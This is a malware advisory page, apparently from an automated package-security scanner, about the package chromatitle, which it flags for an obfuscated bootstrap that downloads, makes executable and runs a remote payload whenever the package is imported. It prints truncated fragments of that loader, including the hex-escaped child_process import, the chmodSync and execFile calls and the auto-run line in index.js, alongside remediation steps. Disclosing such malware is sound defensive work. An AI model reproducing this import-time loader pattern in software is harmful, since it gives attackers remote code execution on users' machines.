registry / Remote code execution / chromatitle

chromatitle

This report shows the evidence for chromatitle@1.0.0, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The import-time hidden downloader and executable payload runner are concrete malicious behavior. The absence of an install hook does not remove the import-time execution risk.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing chromatitle, including through its CLI.

Impact

Remote code execution in the importing user's environment.

Mechanism

Obfuscated remote payload download and execution.

Attack narrative

The package's normal import path calls an obfuscated bootstrap without user action. That bootstrap includes HTTP(S) access, writes a payload to disk, applies executable permissions, and invokes it with execFile. This is unrelated to terminal-title formatting and creates remote code execution exposure.

AI rationale

The import-time hidden downloader and executable payload runner are concrete malicious behavior. The absence of an install hook does not remove the import-time execution risk.

Evidence

src/index.jssrc/utils/bootstrap.js

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The public module entry invokes the bootstrap routine automatically on import.
The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.
The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

Evidence against

The manifest declares no preinstall, install, or postinstall hook.
No decoded network host is available as exact source text.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

MinifiedPossibleObfuscation

ManifestNo manifest risk signals triggered.

scanned 14 file(s), 69.5 KB of source

Source & flagged code

7 flagged

src/utils/bootstrap.jsView file

1(function(_0x59ef48,_0x4c3a73){function _0xbac3ae(_0x57f8c0,_0x3dfa0a){return _0x33b3(_0x3dfa0a- -0x1d3,_0x57f8c0);}const _0x10155e=_0x59ef48();function _0x1a9dbb(_0x2b357a,_0x2f94...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

src/utils/bootstrap.jsView on unpkg · L1

1import{execFile}from'\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73';import{get as _0

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

1import{createWriteStream,chmodSync,unlinkSync,existsSync,mkdirSync}from'\x66\x73';function _0x16be(){c

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

1_0x2e9f1b=_0x1c1430[_0x198657('\x6e\x28\x75\x6f',-0x1a2)](createWriteStream,_0x2d17ac);

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

1chmodSync,_0x28e61a,0x41a+0x1c59+-0x1e86);}catch(_0x5d4430){}let _0x3f1c73;

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

1execFile,_0x28e61a,_0x3f1c73,_0x3ca6a2,(_0x45f9e9,_0x5da3cd,_0x3352cf)=>{

High

Ai Review Evidence

The bootstrap writes a downloaded payload, makes it executable, and runs it with execFile.

src/utils/bootstrap.jsView on unpkg · L1

src/index.jsView file

6import { _bootstrap } from './utils/bootstrap.js'; // Auto-run on import _bootstrap();

High

Ai Review Evidence

The public module entry invokes the bootstrap routine automatically on import.

src/index.jsView on unpkg · L6

Source & flagged code

7 flagged · loading source

src/utils/bootstrap.jsView file

1(function(_0x59ef48,_0x4c3a73){function _0xbac3ae(_0x57f8c0,_0x3dfa0a){return _0x33b3(_0x3dfa0a- -0x1d3,_0x57f8c0);}const _0x10155e=_0x59ef48();function _0x1a9dbb(_0x2b357a,_0x2f94...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

src/utils/bootstrap.jsView on unpkg · L1

1import{execFile}from'\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73';import{get as _0

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

1import{createWriteStream,chmodSync,unlinkSync,existsSync,mkdirSync}from'\x66\x73';function _0x16be(){c

High

Ai Review Evidence

The bootstrap is deliberately obfuscated and imports HTTP(S), filesystem-writing, permission-changing, and process-execution capabilities.

src/utils/bootstrap.jsView on unpkg · L1

Findings

7 High1 Low

HighObfuscated Payload Loadersrc/utils/bootstrap.js

HighAi Review Evidencesrc/index.js

HighAi Review Evidencesrc/utils/bootstrap.js

LowScripts Present

Affected versions and remediation

This report applies to chromatitle@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing chromatitle@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-25 03:00:07.523Z (UTC).

Source advisory published: 2026-09-25 02:32:12.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousRemote Code ExecutionBlockPublishedAug 31, 2026, 8:39 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Runtime surface

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages